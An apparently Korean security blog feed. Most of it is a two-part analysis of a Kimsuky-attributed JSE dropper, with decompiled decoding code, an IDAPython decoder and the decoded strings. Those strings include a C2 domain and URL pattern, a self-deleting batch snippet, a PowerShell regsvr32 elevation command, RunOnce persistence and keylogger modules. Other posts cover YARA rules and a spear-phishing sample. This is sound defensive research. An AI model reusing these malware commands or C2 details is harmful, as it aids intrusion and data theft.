1q

Windbg로 dll 분석 세팅하기

1q — Wed, 8 Sep 2021 22:21:27 +0900

1. windbg - open exe
- filename : rundll32.exe
- arguments : [dll 경로], [export 함수 이름]
2. sxe ld sample (dll 이름)
3. g
4. lm m sample (dll 이름)
5. bp [export 함수 offset]
6. g
7. 분석 시작

jse dropper 악성코드 분석 (Kimsuky?) - 2편

1q — Wed, 8 Sep 2021 22:09:10 +0900

1편 : https://suspected.tistory.com/279

[개요]
본 글에서는 1편에서 소개했듯이 특정 커스텀 인코딩 루틴 분석 및 디코딩 스크립트를 제작하는 과정에 대해 설명한다.

[분석]
본 글에서는 1편에서 소개했듯이 특정 커스텀 인코딩 루틴 분석 및 디코딩 스크립트를 제작하는 과정에 대해 설명한다.

아래 코드는 0x18001B330 함수 호출 전 모습이다. 인자로는 v8 변수(인코딩된 데이터)와 v11 변수(데이터 길이 값)을 전달 받는다.

메모리 복사, 디코딩 루틴

아래 코드는 디코딩 루틴(0x18001B330)이다. 아래 함수를 디버깅해서 문자열을 추출하는 방법도 있지만, 시간 소요가 크다는 단점이 있어 IDAPython을 이용해 스크립트를 작성한다. 코드가 많아보이지만 주요 기능은 별로 안된다.

__int64 __fastcall sub_18001B330(_QWORD *a1, __int64 a2)
{
  __int64 v2; // r14
  _QWORD *v3; // rbx
  unsigned __int64 v4; // r12
  char *v5; // rsi
  __int64 v6; // rdi
  __int64 v7; // r15
  bool v8; // cf
  _QWORD *v9; // rax
  unsigned __int64 v10; // rdi
  unsigned __int64 v11; // rax
  __int64 v12; // rsi
  __int64 v13; // rdx
  bool v14; // cf
  _QWORD *v15; // rax
  __int64 v16; // r8
  __int64 v17; // r9
  __int128 v18; // kr00_16
  __int128 *v19; // rax
  __int64 v20; // rcx
  char v22[16]; // [rsp+20h] [rbp-50h]
  int v23; // [rsp+30h] [rbp-40h]
  __int128 v24; // [rsp+38h] [rbp-38h]
  __int128 v25; // [rsp+48h] [rbp-28h]
  __int64 v26; // [rsp+58h] [rbp-18h]

  v2 = a2;
  v3 = a1;
  v26 = a2;
  *(_QWORD *)&v25 = 0i64;
  *((_QWORD *)&v25 + 1) = 7i64;
  LOWORD(v24) = 0;
  sub_1800081A0((unsigned __int64 *)&v24, (__int64)&unk_180061E08, 0i64);
  v4 = v3[2];
  if ( !(v4 & 1) && v4 > 0x20 )
  {
    LODWORD(v26) = 0;
    WORD2(v26) = 0;
    v23 = 0;
    v5 = v22;
    v6 = 0i64;
    v7 = 16i64;
    while ( 1 )
    {
      v8 = v3[3] < 8ui64;
      if ( v3[3] >= 8ui64 )
        break;
      LOWORD(v26) = *(_WORD *)((char *)v3 + v6);
      v9 = v3;
      if ( !v8 )
        goto LABEL_7;
LABEL_8:
      *(_DWORD *)((char *)&v26 + 2) = *(unsigned __int16 *)((char *)v9 + v6 + 2);
      sub_18001BC10(&v26, L"%x", &v23);
      *v5 = v23;
      v6 += 4i64;
      ++v5;
      if ( !--v7 )
      {
        v10 = 32i64;
        v11 = 0i64;
        while ( 1 )
        {
          v12 = v11 - 16;
          if ( v11 < 0x10 )
            v12 = v11;
          v13 = 2 * v10;
          v14 = v3[3] < 8ui64;
          if ( v3[3] >= 8ui64 )
            break;
          LOWORD(v26) = *(_WORD *)((char *)v3 + v13);
          v15 = v3;
          if ( !v14 )
            goto LABEL_15;
LABEL_16:
          *(_DWORD *)((char *)&v26 + 2) = *(unsigned __int16 *)((char *)v15 + v13 + 2);
          sub_18001BC10(&v26, L"%x", &v23);
          v17 = (unsigned int)(char)(v23 ^ v7 ^ v22[v12]);
          v18 = v25;
          if ( (unsigned __int64)v25 >= *((_QWORD *)&v25 + 1) )
          {
            sub_18001B8D0(&v24, *((_QWORD *)&v25 + 1), v16, v17);
          }
          else
          {
            *(_QWORD *)&v25 = v25 + 1;
            v19 = &v24;
            if ( *((_QWORD *)&v18 + 1) >= 8ui64 )
              v19 = (__int128 *)v24;
            *((_WORD *)v19 + v18) = v17;
            *((_WORD *)v19 + v18 + 1) = 0;
          }
          LOBYTE(v7) = v23;
          v10 += 2i64;
          v11 = v12 + 1;
          if ( v10 >= v4 )
          {
            *(_OWORD *)v2 = v24;
            *(_OWORD *)(v2 + 16) = v25;
            return v2;
          }
        }
        LOWORD(v26) = *(_WORD *)(v13 + *v3);
LABEL_15:
        v15 = (_QWORD *)*v3;
        goto LABEL_16;
      }
    }
    LOWORD(v26) = *(_WORD *)(v6 + *v3);
LABEL_7:
    v9 = (_QWORD *)*v3;
    goto LABEL_8;
  }
  *(_QWORD *)(v2 + 16) = 0i64;
  *(_QWORD *)(v2 + 24) = 7i64;
  *(_WORD *)v2 = 0;
  sub_1800081A0((unsigned __int64 *)v2, (__int64)&unk_180061E08, 0i64);
  if ( *((_QWORD *)&v25 + 1) >= 8ui64 )
  {
    v20 = v24;
    if ( (unsigned __int64)(2i64 * *((_QWORD *)&v25 + 1) + 2) >= 0x1000 )
    {
      v20 = *(_QWORD *)(v24 - 8);
      if ( (unsigned __int64)(v24 - v20 - 8) > 0x1F )
        invalid_parameter_noinfo_noreturn();
    }
    sub_1800295B0(v20);
  }
  return v2;
}

아래부터는 위 함수 내 커스텀 알고리즘으로 인/디코딩된 루틴을 단계별로 설명한다.

첫 번째로, 1877b~~~27ca와 같은 인코딩된 문자열을 입력 받아 2개씩 끊어 Byte 형태로 변환을 우선 수행한다.
두 번째로, Byte 형태로 변환된 값 중 앞에서부터 16Byte, 나머지 Byte를 분리한다.

알고리즘 1,2

세 번째로, 위에서 나눈 것을 토대로 a ^ b ^ c 형태로 XOR을 하는 루틴이다.
우선, 16byte 왼쪽 부분부터 1씩 증가하는 a, 나머지 Byte 영역 부분부터 1씩 증가하는 c로 치환한다. b는 초기 값으로 0을 넣는다.
stage는 인코딩된 데이터(Byte 형태)의 갯수만큼 반복문을 수행한다. stage 1은 위에서 말한 바와 같이 왼쪽 16byte 영역의 첫 번째 요소인 0x18(a), 나머지 영역의 첫 번째 요소인 0x3d(c), b=0으로 치환 후 XOR을 수행한다.
stag 2부터는 a와 c는 한 칸씩 이동해 값을 불러오는 것이 동일하다. b같은 경우에는 이전(stage 1이 되겠죠?) c의 값을 b에 저장 후 XOR 연산을 수행한다. 아래 그림을 참고하면 이해가 쉬울 것이다.

stage를 계속 수행하다가 인코딩된 데이터(Byte 형태)의 갯수만큼 작동하고 끝이난다. 결과는 "%PDF-1.7..4 0 obj"

알고리즘 3

위 과정까지가 알고리즘 수행의 기본 루틴이고 아래는 알고리즘의 핵심 조건문 루틴이다. 3번에서 수행한 인코딩된 문자열 길이는 짧기 때문에 a영역이 16바이트가 되기 전에 끝났다.

하지만, 아래와 같이 긴 인코딩 문자열을 입력 받아 수행할 때는 a영역의 offset이 16바이트를 초과하면 어떤 요소에 접근해야 하는지에 대한 조건문이다. 아래 그림을 토대로 설명하면, stage 16까지 잘 수행하다가 stage 17을 수행하면 b와 c는 정상적으로 다음 요소를 순차적으로 저장한다. 그러나 a는 다음 요소가 c의 영역이기 때문에 a의 요소가 16이 넘어가는 순간 다시 0부터 다시 시작한다.

아래 stage 17과 같이 a가 0x89부터 다시 시작한다. 나머지는 순차적으로 값을 그대로 얻어와 XOR을 수행한다.
결과는 아래와 같다. 17번째 요소에 5가 들어가있는 것을 확인할 수 있다. "0602000000A4000052534131000400000100010005DA37C671C00B2A04759D5A143C015F4D0B38F0F83D6E4E19B309
D570ADB6EEA7CACB5A59A489B9E4B8D801B76A0C361E7D7798E6248722DC0349400857F68C5B21474138F0D3EE0929
AB1EBEA9EBB057E88D0CACB41D4A6029F459AD7B8A8D180B77DC4596745B9CF77DAD7B50F44B43DA8F1326E64C53
DAA51807A02751E2"

알고리즘 조건식

[구현]
위에서 분석한 알고리즘을 기반으로 이제 IDAPython을 이용해 디코딩 스크립트를 구현한다.

우리가 분석해야 하는 디코딩 함수 0x18001B330을 사용하는 함수를 확인하기 위해 Xref 기능을 사용해 확인한 결과, 중복도 있겠지만 239개의 함수가 있는 것을 확인했다.

Xref - 0x18001B330

우선 첫 번째로 0x18001B330을 call하는 부분부터 backward를 수행해 "lea rdx, a2c92cd0a32f60e" 부분으로 이동해 2번째 오퍼랜드의 값을 가져와야 한다. 이 루틴을 구현하면 239개의 인코딩된 데이터를 모두 추출해 리스트로 저장한다.

인코딩된 데이터 가져오기

팁 : 데이터는 아래와 같이 유니코드 형태로 저장되어 있어 "GetString(str_address, strtype=idc.ASCSTR_UNICODE)" 형태로 작성해줘야 그대로 추출된다. 유니코드가 아닌 형태로는 1Byte씩 접근해 주소를 옮겨가며 추출해야 하는 것 보다 훨씬 편하다.

유니코드 형태로 저장된 인코딩된 데이터

인코딩된 데이터를 리스트에 모두 저장한 후 이제 반복문을 돌려 디코딩 함수에 인코딩된 데이터, 데이터 길이 2가지를 인자로 넣어주면 끝이다.

아래 코드는 IDA(offset : 0x18001B330) 내 구현된 알고리즘을 기반으로 재구성했다. 알고리즘 형태는 위에서 설명한 것과 동일하므로 설명은 생략한다.

from idautils import *
from idaapi import *
from idc import *
import re

p = re.compile('(\d|[a-f]){20,}')

def EncodedDataCollector(addr):
    encodeddataList = []
    for addr in XrefsTo(0x18001B330, flags=0):
        count = 0
        line = addr.frm
        while True:
            line = idc.PrevHead(line)
            count += 1
            if GetMnem(line) == "lea" and GetOpType(line, 0) == o_reg and GetOpType(line, 1) == o_mem:
                str_address = GetOperandValue(line, 1)
                
                try:
                    data = GetString(str_address, strtype=idc.ASCSTR_UNICODE)
                    signal = 1
                except:
                    signal = 0
                                    
                if signal != 1:
                    break
                else:
                    encodeddataList.append(data)
                    
            if count > 10:
                break
    
    return encodeddataList
                
def confirmRegex(lists):
    attemplist = []
    expectinglen = len(lists)
    for r in lists:
        result = p.finditer(r)
        for r in result:
            zzz = r.group()
            attemplist.append(zzz)

    if expectinglen == len(attemplist):
        return 1
    else:
        return 0

def str2binbyte(encdata):
    count = 0
    bl = []
    for i in range(0, len(encdata), 2):         
        bl.append(int(encdata[i:i+2], 16))

    if type(bl) == list:
        return bl # list
    else:
        return False

def decoding_1B330(enc, enclen):
    v22=0
    v7=0
    v10_count=16-1 #count
    enc16byteleft = enc[:16]
    enc16byteRigth = enc[16:]
    decodedDataList = []
    j = 0
    for i in range(0, enclen):
        
        if j >= 16:
            j = 0
        
        v23 = enc16byteleft[j]
        v22 = enc16byteRigth[i]
        dedata = v23^v7^v22
        decodedDataList.append(dedata)

        v7 = v22
        v10_count += 1
        j+=1
        
        if v10_count >= enclen-1:
            break
    
    finaldata = ''.join(map(chr, decodedDataList))

    return finaldata

def main():
    decodingroutineaddr = 0x18001B330
    result = EncodedDataCollector(decodingroutineaddr) #list type

    if len(result) > 0:
        if(confirmRegex(result)):
            for endata in set(result):
                encbytebin = str2binbyte(endata)

                if(encbytebin != False):
                    enc_len = len(encbytebin)
                    result = decoding_1B330(encbytebin, enc_len)
                    print(result)

main()

드롭퍼(DLL)를 IDA에 로드하고 위에서 구현한 디코딩 스크립트를 실행하면 아래와 같은 문자열들이 출력된다. API 함수, C2 주소, URL 파라미터, 바이너리 등 유의미한 정보들을 추출 할 수 있었다. xref로 확인했을 때는 239개였는데, 중복을 제거했더니 200개로 줄었다.

LookupPrivilegeValueW
GetWindowTextW
FindClose
HttpAddRequestHeadersA
ToAscii
temp
%d-%02d-%02d_%02d-%02d-%02d-%03d
GetWindowTextA
texts.letterpaper.press
shlwapi.dll
GetFileSize
ConsentPromptBehaviorAdmin
GetLocalTime
SelectObject
ReadFile
KeyboardMonitor
shell32.dll
flags
CreateRemoteThread
LookupPrivilegeValueA
SHCreateDirectoryExA
S_Regsvr32
VirtualAllocEx
RegQueryValueExA
HttpSendRequestExA
SetFilePointer
GetWindowThreadProcessId
0702000000A400005253413200040000010001006D4582142BA47753E19FF39DBF232B7BAEE5141CC59AB328CA25EC21BEF955FE091F90B8FF3C3D8CD00973E3D2D7FACAD76B40A0A90BDE7468338B4F7C39DFDDE6C1574F3C48065AB364E505C322FF6B26CB67014DA28CD1FABEE32C9DB4BFD6F182AAA9DFB77EF3B26F91BC2E03EE4AB04B8A8741B83A85443DB8F28B99A3C63B206FAE6F36E19D4AFA768CF24283CFB7137FE47C403BC1E9E44CC12AB46877E7EAD66E69BC1C95E074127F1359978D8F6A8F5F57F15B220CACF213184176F9773E649A421A870340AFB025640A0EE5AFCA7DF1C7F6682FD59C9FEC241A9128D26608F5DDE2114CCA6815CA18B337C6B6FA713606A5ABE15133B061765AD8CB4181E72FC2DAA084FDB14AB05D38254556CBF2AF5DEB987F25206E657B03EAC21D2C7BD86703AEB22B27A456B60E3AD3C3C62D5DD7C06E5DB1C5D756B6F0019DFFFE3A425CDFDF9EA4E9F0085DD8064F97028A954A6D9DED2C06358EB77FF3CCC976B5E08344AC167B3971CBABBABD20E90C7BF4D1EA6F563B62B14C175D0683466190BFE8ECF4DDC69665233D21FD28825B7FFC4755A7A398E96FD94517D4B9F1EFFD99EAEB42F507F31D01594F0FF9FC03F4D5C3A40E4B64557C76CC4949BCFD96B77CD3F7A40DCB65B573E8C96A363EB2830B32ABD6827BACCF784BAC428F244861126235051C2B567FA9731699F1F6F76486CAC76DF407CBD0A52531AC87D6CC129B19D219E9CEE9E07AA3B7FAD0106F631B53B76D876F73CE642C3285ECB322473BCAD03B3647E716575FF530C57A078A2D5485BD13954E6FFA3C70C41F
.enc
InternetWriteFile
SystemTimeToFileTime
CreateMutexW
kernel32.dll
list.fdb
GetCurrentProcess
FindWindowA
GetTempFileNameA
Advapi32.dll
WriteFile
LoadLibraryA
URLDownloadToFileW
PromptOnSecureDesktop
RegCreateKeyExA
%PDF-1.7..4 0 obj
User32.dll
Desktop
DeleteFileW
InternetConnectA
RegSetValueExW
GetModuleHandleW
Process32First
GetVolumeInformationW
CopyFileW
OpenMutexW
Gdi32.dll
ExitProcess
CreateMutexA
FindNextFileA
GetStartupInfoW
URLDownloadToFileA
    :repeat
    del "%s"
    if exist "%s" goto repeat
    del "%%~f0"
RegCreateKeyExW
Software\Microsoft\Windows\CurrentVersion\RunOnce
ESTCommon.dll
MoveFileExW
GetDIBits
MessageBoxA
HttpEndRequestW
LoadLibraryW
GetTempPathW
GetTempPathA
GetObjectA
SHGetFolderPathW
DeleteObject
FindNextFileW
InternetOpenW
GetTokenInformation
RegCloseKey
CreateFileA
SHCreateDirectoryExW
CreateCompatibleBitmap
Process32FirstW
MoveFileExA
GetTickCount
CreateToolhelp32Snapshot
Documents
Process32NextW
HttpOpenRequestW
SpyRegsvr32-20210505162735
GetSystemTime
FindFirstFileW
CreateProcessW
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
AdjustTokenPrivileges
OpenProcessToken
ReleaseDC
.zip
urlmon.dll
Downloads
FolderMonitor
OpenMutexA
VirtualProtect
.tmp
GetDesktopWindow
InternetSetOptionExA
Wininet.dll
HttpSendRequestA
0602000000A4000052534131000400000100010005DA37C671C00B2A04759D5A143C015F4D0B38F0F83D6E4E19B309D570ADB6EEA7CACB5A59A489B9E4B8D801B76A0C361E7D7798E6248722DC0349400857F68C5B21474138F0D3EE0929AB1EBEA9EBB057E88D0CACB41D4A6029F459AD7B8A8D180B77DC4596745B9CF77DAD7B50F44B43DA8F1326E64C53DAA51807A02751E2
GetVolumeInformationA
GetModuleFileNameA
GetWindowsDirectoryW
regsvr32.exe
ShowWindow
HeapFree
AppData\Local\Microsoft\Windows\INetCache\IE
GetKeyState
DeleteDC
HttpQueryInfoW
FreeLibrary
HttpEndRequestA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
RegSetValueExA
GetDC
Process32Next
InternetSetOptionExW
CloseHandle
InternetCloseHandle
CreateCompatibleDC
RegQueryValueExW
InternetReadFile
HttpSendRequestW
powershell.exe start-process regsvr32.exe -argumentlist '/s %s' -verb runas
PathFileExistsA
WriteProcessMemory
HeapAlloc
GetForegroundWindow
 /s "
GetSystemMetrics
%s/?m=a&p1=%s&p2=%s-%s-v%s.%d
DeleteUrlCacheEntryW
CreateFileW
GetParent
GetProcessHeap
WaitForSingleObject
InternetOpenA
ESTsoftAutoUpdate
CopyFileA
MessageBoxW
cache
Iphlpapi.dll
FindWindowW
RegOpenKeyExW
GetModuleHandleA
HttpOpenRequestA
CreateProcessA
HttpQueryInfoA
VirtualAlloc
GetVersion
GetWindowsDirectoryA
GetAdaptersInfo
GetStartupInfoA
GetKeyboardState
Software\ESTsoft\Common
2.0
GetTempFileNameW
OpenProcess
list.ldb
CreatePipe
HttpAddRequestHeadersW
BitBlt
CreateThread
RegDeleteValueW
DeleteFileA
TerminateProcess
.bat
ScreenMonitor
SHGetFolderPathA
SetProcessDPIAware
RegDeleteValueA
RegOpenKeyExA
Win%d.%d.%dx64
Sleep
SeDebugPrivilege
GetNativeSystemInfo
UsbMonitor
GetModuleFileNameW
DeleteUrlCacheEntryA
GetDeviceCaps
PathFileExistsW
GetProcAddress
FindFirstFileA
--7263b57d61acd27d98a454fc484795fe0106d5
InternetConnectW
VirtualFree
HttpSendRequestExW
GetWindow
GetObjectW

jse dropper 악성코드 분석 (Kimsuky?) - 1편

1q — Wed, 8 Sep 2021 20:27:34 +0900

[개요]
gmail에 alienvault feed 메일이 전송되어 분석을 시작하기로 했다. alienvault는 해당 악성코드 Family를 Kimsuky라 지정했다. 최근 악성 한글 문서 유포 형태에서 워드+매크로, pdf.jse와 같이 확장자 변경+fileless 형태로 변경되는 것 같은 느낌이 든다.

[분석]
본 글(1편)은 세세한 분석보다는 파일이 드롭되는 과정, 드롭된 파일이 대충 어떤 기능을 하는지에 대해 설명한다. 2편에서는 특정 커스텀 인코딩 루틴 분석 및 디코딩 스크립트를 제작하는 과정에 대해 설명한다.
2편 : https://suspected.tistory.com/280

* VT 정보
hash : 20eff877aeff0afaa8a5d29fe272bdd61e49779b9e308c4a202ad868a901a5cd
submitted name : 외교부 가판 2021-05-07.pdf.jse
First Submission : 2021-08-12 01:12:35

파일명은 외교부 가판 2021-05-07.pdf.jse로 외교부 사칭, jse파일을 pdf로 확장자로 눈속임하는 형태를 지닌다. 바쁘거나 관심이 없는 사람들은 해당 파일을 외교부 pdf 문서라고 착각하여 실행할 수 있으니 주의가 필요하다.

해당 파일 내부를 확인한 결과 javascript로 작성된 스크립트가 작성됐다. 요약하면 d6rdVIu1CNC 변수에는 PDF 미끼 파일, tbPaitkT4N4 변수에는 드롭되는 악성 바이너리가 base64 데이터로 저장된다. 다음으로 특정 경로에 드롭을 진행하여 powershell을 통해 base64 디코딩 및 실행한다.

해당 파일을 실행 시 정상적인 pdf 파일이라는 것을 인지하도록 PDF 미끼 파일이 먼저 실행되도록 설계됐으며, 백그라운드에서는 악성파일 또한 실행된다.

jse 파일 내부 코드

실행되는 미끼 pdf 파일은 외교부에서 작성한 "오늘의 주요뉴스" 내용이 담겨있다.

아래 Python 스크립트를 통해 jse 파일 내부 base64 인코딩된 데이터들을 디코딩 할 수 있다.

import base64
import sys

with open(sys.argv[1], 'r') as a:
	b = a.read()
    
bdbytes = base64.b64decode(b)

with open(sys.argv[2], 'wb') as c:
	c.write(bdbytes)
    
print('Done')

스크립트를 통해 악성 파일이 있는 base64 인코딩 데이터를 해제하면 아래 그림과 같이 1번 더 base64가 나오고 다시 풀면 64bit DLL 파일을 확인할 수 있다. 해당 파일은 UPX로 패킹되어 해제했다.

드롭퍼 프로세스

초반에는 API 리졸빙 기능을 수행해 API들을 동적으로 로딩하는 기능만 존재한다. (엄청 많다..)
18001B2F0->18001B330 순서로 특정 커스텀 인코딩된 문자열을 입력받아 디코딩을 수행하는 형태이다. 이 부분을 디코딩하는 스크립트는 2편에서 다룰 예정이다.

API 리졸빙

API 리졸빙 후 DLL Export 함수에 있는 DllRegisterServer 함수를 실행한다. 해당 함수에는 키로깅, 자동 실행 등록, 인터넷 통신, 인터넷 접속 기록 조회 등 주요 기능들이 다수 존재했다.

DllRegisterServer (Export 함수)

6개의 Thread를 실행한다.

확장자 검색, 수집, 로그 기록

확장자 검색

키로깅 수행, 로그 기록

키로깅 기능

키로깅 데이터 저장

대충 분석해본 결과 C2 서버(texts[.]letterpaper[.]press/?m=a&p1=%s&p2=%s-%s-v%s.%d)에 수집된 데이터 전송 등 통신을 하는 정보유출형 백도어로 분석됐다.
디버깅 결과 : texts[.]letterpaper[.]press/?m=a&p1=[식별자]&p2=[윈도우 버전]-S_Regsvr32-v2.0.6.9

[참고]
[1] https://otx.alienvault.com/pulse/612752782146341e9654bcd9
[2] https://inquest.net/blog/2021/08/23/kimsuky-espionage-campaign

spactrack 파싱 및 엑셀 저장 개발

1q — Sat, 6 Feb 2021 21:46:40 +0900

spactrack에서 저장된 spac 목록들을 파싱하고 엑셀에 저장하는 스크립트이다.

# get parsing spack stocks list and stored to excel
# python 3.8

import requests
from bs4 import BeautifulSoup
import xlsxwriter

# startrack's spack stocks list
url1 = "https://sheet2site-staging.herokuapp.com/api/v3/index.php/?search=&key=1F7gLiGZP_F4tZgQXgEhsHMqlgqdSds3vO0-4hoL6ROQ&e=1"
url2 = "https://sheet2site-staging.herokuapp.com/api/v3/load_more.php/?key=1F7gLiGZP_F4tZgQXgEhsHMqlgqdSds3vO0-4hoL6ROQ&template=Table%20Template&filter=&search=&e=1&is_filter_multi=true&length=99&page={}"
row = 0
columnlist = ["SPAC Ticker", "Name", "Status", "SPAC Target Focus", "Target Company(if Deal Announced)", "Prominent Leadership / Directors / Advisors", "Trust Value(from last filing)", "Market Cap", "Commons Price", "Commons % Change Previous Day", "Unit Price", "Warrant Price", "Unit & Warrant Details", "Estimated Unit Split Date", "Warrant Intrinsic Value", "IPO Date", "IPO Size(M)", "Underwriter(s)", "Estimated Completion Deadline Date", "% Progress to Deadline", "SEC Filings", "Tags"]

def CreateXlsx():
    w_obj = xlsxwriter.Workbook('spack.xlsx')
    worksheet = w_obj.add_worksheet()
    return worksheet

def CloseXlsx(w_obj):
    w_obj.close()

def TestEndofIndex():
    for index in range(1, 10):
        res = requests.get(url2.format(index))

        if res.text == "end":
            return index - 1
    
    return False

def Parsing(index, worksheet):
    # 1 page
    global row
    dummpylists = []
    dummpylists2 = []
    html = requests.get(url1).text
    soup = BeautifulSoup(html)

    for tag in soup.select('tbody tr'):
        
        for tag2 in tag.findAll("td"):
            dummpylists.append(tag2.getText())

        row = row + 1
        for col, dummy in enumerate(dummpylists):
            worksheet.write(row, col, dummy)
            col = col + 1

        dummpylists = []
                    
    #cols.append(all_cols[i].findAll("td")[j].find(text=True).strip().encode('cp949'))
 

    # 2~N page
    for i in range(1, index+1):
        html = requests.get(url2.format(i)).text
        soup = BeautifulSoup(html)
        for tag in soup.select('tr'):
            for tag2 in tag.findAll("td"):
                dummpylists2.append(tag2.getText())

            row = row + 1
            for col, dummy in enumerate(dummpylists2):
                worksheet.write(row, col, dummy)
                col = col + 1

            dummpylists2 = []

w_obj = xlsxwriter.Workbook('spack.xlsx')
worksheet = w_obj.add_worksheet()
bold = w_obj.add_format({'bold': 1})

# write header in excel file
for i, header in enumerate(columnlist):
    worksheet.write(0, i, header, bold)

r_TestEndofIndex = TestEndofIndex()
if r_TestEndofIndex != False:
    Parsing(r_TestEndofIndex, worksheet)
    w_obj.close()
    
else:
    input("[ERROR] TestEndofIndex")

Yara 4.0.0-4.0.1 업데이트 정리 : base64, base64wide, private 등

1q — Wed, 10 Jun 2020 22:40:52 +0900

20년 4월 29일 yara 4.0.0이 업데이트가 됐습니다[1][2]. 크게 새로운 modifier은 base64, base64wide, private가 생겼으며, "pe" 모듈에 pdb_path, export_details, exports_index가 추가되었다. 나머지 항목들은 기존 기능을 개선하거나 버그를 FIX한 형태이므로 언급은 하지 않겠습니다.

(Figure 1) 업데이트된 4.0.0-4.0.1

Base64 strings
- base64 modifier는 base64 인코딩된 문자열을 검색할 때 사용된다.
- base64wide modifier는 base64 modifier와 동일하게 동작하지만, base64 동작 후 wide 형태로 변환된다.
- base64 및 ba64wide modifier는 text string에서만 지원된다.
- (주의) 16진수 문자 또는 정규식, modifier(xor, fullword, nocase)와 함께 사용하면 컴파일러 오류가 발생한다.
- YARA가 base64 인코딩 후 선행 및 후행 문자를 제거하는 방식 때문에 "Dhis program cannow" 및 "This program cannot"의 base64 인코딩 중 하나가 동일하다.
- 실행은 (Figure 2)의 2번과 같다.

- 아래 룰과 같이 custom alphabet을 지원한다.
rule Base64Example2
{
    strings:
        $a = "This program cannot" base64("!@#$%^&*(){} [].,|ABCDEFGHIJ\x09LMNOPQRSTUVWXYZabcdefghijklmnopqrstu")

    condition:
        $a
}

Private strings
- YARA의 모든 문자열은 private로 표시될 수 있으며, 이는 YARA의 출력에 포함되지 않는다. 커맨드라인으로 -s 옵션을 사용하면 탐지된 스트링이 출력된다. 하지만, private을 사용하면 스트링은 출력이 안되지만 룰에 탐지되었다는 표시는 출력된다. (Figure 2)는 yara 4.0.1 버전에서 아래 룰(Base64Example2)을 테스트한 것으로, 1번은 private 키워드를 추가했을 때 나오는 출력화면, 2번은 private을 지웠을 때 나오는 화면이며, 3번은 base64, private modifier를 모두 지웠을 때 나오는 화면이다. 위에서 설명한 것과 같이 private을 적용하면 1번에서 탐지된 룰 이름은 나오지만, 탐지된 오프셋과 내용은 출력되지 않는다.

rule Base64Example3
{
    strings:
        $a = "This pdrogram cannott" base64 private

    condition:
        $a
}

(Figure 2) yara 4.0.1 테스트

위에서는 새롭게 추가된 modifier에 대해 알아보았다. 아래는 PE 모듈에 새롭게 추가된 condition에서 사용할 수 있는 함수이다. exports_index, exports_index, exports_index, pdb_path, export_details가 추가되었다. (해당 함수에 대한 실습은 추후 업로드할 예정)

(Figure 3) PE 모듈에 새롭게 추가된 condition 함수(1)

(Figure 4) PE 모듈에 새롭게 추가된 condition 함수(2)

(Figure 5) PE 모듈에 새롭게 추가된 condition 함수(3)

커맨드라인에서 사용할 수 있는 옵션인 --scan-list가 추가되었다.

(Figure 6) PE 모듈에 새롭게 추가된 condition 함수(4)

참고 :
[1] github.com/VirusTotal/yara

VirusTotal/yara

The pattern matching swiss knife. Contribute to VirusTotal/yara development by creating an account on GitHub.

github.com

[2] yara.readthedocs.io/en/latest/

Yara modifier : XOR strings 정리

1q — Wed, 10 Jun 2020 21:32:44 +0900

xor modifier는 single byte XOR이 적용된 문자열을 검색하는 데 사용할 수 있다.

아래 룰은 문자열 "suspect"에 적용된 모든 single byte XOR을 검색한다. 쉽게 말해서 0x00~0xff까지 돌린다는 것이다. xor 후 wide와 ascii를 사용하고 싶으면 xor wide ascii 순서로 아래와 같이 입력하면 된다.
rule xor1
{
strings:
$xor_string = "suspect" xor wide ascii
condition:
$xor_string
}

위와 같은 경우에는 xor을 0x00~0xff까지 255번 모두 수행한다. YARA 3.11 업데이트에서는 xor(minimum-maximum) 형태로 최소, 최대의 수를 직접 지정하여 세밀하게 컨트롤 할 수 있게 되었다.

rule xor2
{
strings:
$xor_string = "suspect" xor(0x2-0xc8)
condition:
$xor_string
}

yara.readthedocs.io/en/latest/writingrules.html

악성코드 분석(암호화폐 거래소(플라이빗-Flybit) 타겟 스피어피싱 공격)

1q — Wed, 29 Apr 2020 20:38:45 +0900

[개요]
본 게시물은 이전 게시물[1]과 행위가 100% 동일한 공격이며, 미끼 문서만 다른 형식으로 변경한 것으로 확인됐습니다. 하지만, 둘 다 암호화폐 관련 내용이 주를 이루는 것이 공통점입니다. 과거 암호화폐 거래소 빗썸, 업비트를 타겟으로 공격한 사례도 있습니다. 이번 사례도 마찬가지로 비트코인 가격이 오르자 국내 암호화폐 거래소(Flybit)를 타겟으로 스피어피싱 공격을 수행하는 것을 볼 수 있습니다.
※ 본 샘플은 한글문서만 상이하며, 바이너리 분석내용은 이전 게시물[1]과 동일합니다.

(Figure 1)은 공격자가 (Figure 2) 국내 암호화폐 거래소(flybit)에 전송한 메일 내용입니다. (Figure 3) 국내 "(주)GBSC" 회사메일로 "이현수"라는 발신인이 flybit 측에 입사지원하는 내용이며, GBSC는 보호필름, 전자재료를 생산하는 회사인 것으로 확인됐습니다. 임의로 만들어진 계정일 것으로 추정되며, 공격자가 GBSC 사이트를 이용한 것으로 보아 해당 사이트가 공격자의 타겟이 됐을 수도 있겠다는 생각이 들었습니다.

(Figure 1) 스피어피싱 공격 당시 이메일 내용

(Figure 2) 플라이빗(Flybit) 암호화폐 거래소 홈페이지

(Figure 3) GBSC 회사 홈페이지

(Figure 4) 마지막 작성된 시각은 2020년 4월 29일 1시 37분경에 작성된 것으로 확인됐으며, 이전 공격[1]보다 약 9분 후 만들어진 것으로 보입니다.

(Figure 4) 한글파일 속성정보

(Figure 5) 유포된 한글파일 내용에는 이력서라는 내용이며, 개인신상정보가 담겨있어 모자이크를 수행했습니다.

(Figure 5) 한글파일 내용

※ 이후 분석 내용(취약점, 쉘코드 등)은 위에서도 언급했듯이 이전 분석 내용[1]과 같으므로 이를 참고 부탁드립니다.
→ 한글파일에 존재하는 PostScript 내용이 같으므로 이후 과정 또한 같다는 뜻

[IOC]
※ C2 정보는 이전 분석 내용[1]과 같음
- c3c4f3f1f6a375e3e407347ead071a35ce23966b9fb3bed67b59290653a4ead2
- cf739fbef4957c6150465c23d6a56ea903b0b1e6e921c5f2178633ee2d029ef0

[Reference]
[1] https://suspected.tistory.com/274

악성코드 분석("[조회]비트코인 투자 카페 강퇴&활동정지" 악성 한글문서)

1q — Wed, 29 Apr 2020 19:16:04 +0900

[개요]
